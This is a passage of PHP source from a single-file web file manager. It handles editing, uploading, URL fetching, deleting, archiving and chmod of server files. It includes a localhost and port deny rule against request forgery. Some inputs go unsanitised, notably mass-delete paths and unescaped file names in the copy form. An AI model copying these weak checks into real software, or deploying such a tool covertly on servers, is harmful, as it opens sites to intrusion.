define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); // always use ?p= if (!isset($_GET['p']) && empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); // for ajax request - save $input = file_get_contents('php://input'); $_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; // instead globals vars define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); /*************************** ACTIONS ***************************/ // Handle all AJAX Request if ((isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']]) || !FM_USE_AUTH) && isset($_POST['ajax'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } //search : get list of files from the current folder if(isset($_POST['type']) && $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) && $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) && $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) && $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; //prevent 127.* domain and known ports $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(basename($url), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } // Delete file / folder if (isset($_GET['del'], $_POST['token']) && !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' && $del != '..' && $del != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted'); fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted'); fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) && !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fm_enc($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fm_enc($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fm_enc($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); // copy/move/duplicate if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { // Move and to != from so just perform move $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { // Not move and to != from so copy with original name if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { if (!$move){ //Not move and to = from so duplicate $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } //Create new name for duplicate $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; // Check if a file with the duplicate name already exists, if so, make new name (edge case...) while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) && $old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) && !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . basename($fullPathInput); $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { // workaround https://bugs.php.net/bug.php?id=81145 do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else if (move_uploaded_file($tmp_name, $fullPath)) { // Be sure that the file has been uploaded if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } // Mass deleting if (isset($_POST['group'], $_POST['delete'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Pack files zip, tar if (isset($_POST['group'], $_POST['token']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' <b>%s</b> '.lng('Created'), fm_enc($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { //TODO:: need to handle the error $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod'], $_POST['token']) && !FM_READONLY && !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } /*************************** ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) && fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) && fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path //get the allowed file extensions function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION && $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?> <?php print_embedded_css('css-dropzone'); ?> <div class="path"> <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>"> <div class="card-header"> <ul class="nav nav-tabs card-header-tabs"> <li class="nav-item"> <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a> </li> <li class="nav-item"> <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> <?php echo lng('Upload from URL') ?></a> </li> </ul> </div> <div class="card-body"> <p class="card-text"> <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a> <strong><?php echo lng('DestinationFolder') ?></strong>: <?php echo fm_enc(fm_convert_win(FM_PATH)) ?> </p> <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <div class="fallback"> <input name="file" type="file" multiple/> </div> </form> <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader"> <form id="js-form-url-upload" class="row row-cols-lg-auto g-3 align-items-center" onsubmit="return upload_from_url(this);" method="POST" action=""> <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true"> <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <button type="submit" class="btn btn-primary ms-3"><?php echo lng('Upload') ?></button> <div class="lds-facebook"><div></div><div></div><div></div></div> </form> <div id="js-url-upload__list" class="col-9 mt-3"></div> </div> </div> </div> </div> <?php print_embedded_js('js-dropzone'); ?> <script> Dropzone.options.fileUploader = { chunking: true, chunkSize: <?php echo UPLOAD_CHUNK_SIZE; ?>, forceChunking: true, retryChunks: true, retryChunksLimit: 3, parallelUploads: 1, parallelChunkUploads: false, timeout: 120000, maxFilesize: "<?php echo MAX_UPLOAD_SIZE; ?>", acceptedFiles : "<?php echo getUploadExt() ?>", init: function () { this.on("sending", function (file, xhr, formData) { let _path = (file.fullPath) ? file.fullPath : file.name; document.getElementById("fullpath").value = _path; xhr.ontimeout = (function() { toast('Error: Server Timeout'); }); }).on("success", function (res) { let _response = JSON.parse(res.xhr.response); if(_response.status == "error") { toast(_response.info); } }).on("error", function(file, response) { toast(response); }); } } </script> <?php fm_show_footer(); exit; } // copy form POST if (isset($_POST['copy']) && !FM_READONLY) { $copy_files = isset($_POST['file']) ? $_POST['file'] : null; if (!is_array($copy_files) || empty($copy_files)) { fm_set_msg(lng('Nothing selected'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path ?> <div class="path"> <div class="card <?php echo fm_get_theme(); ?>"> <div class="card-header"> <h6><?php echo lng('Copying') ?></h6> </div> <div class="card-body"> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="finish" value="1"> <?php foreach ($copy_files as $cf) { echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL; } ?> <p class="break-word"><strong><?php echo lng('Files') ?></strong>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p> <p class="break-word"><strong><?php echo lng('SourceFolder') ?></strong>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br> <label for="inp_copy_to"><strong><?php echo lng('DestinationFolder') ?></strong>:</label> <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>"> </p> <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label ms-2"> <?php echo lng('Move') ?></label></p> <p> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> </p> </form> </div> </div> </div> <?php fm_show_footer(); exit; } // copy form if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) { $copy = $_GET['copy']; $copy = fm_clean_path($copy); if ($copy == '' || 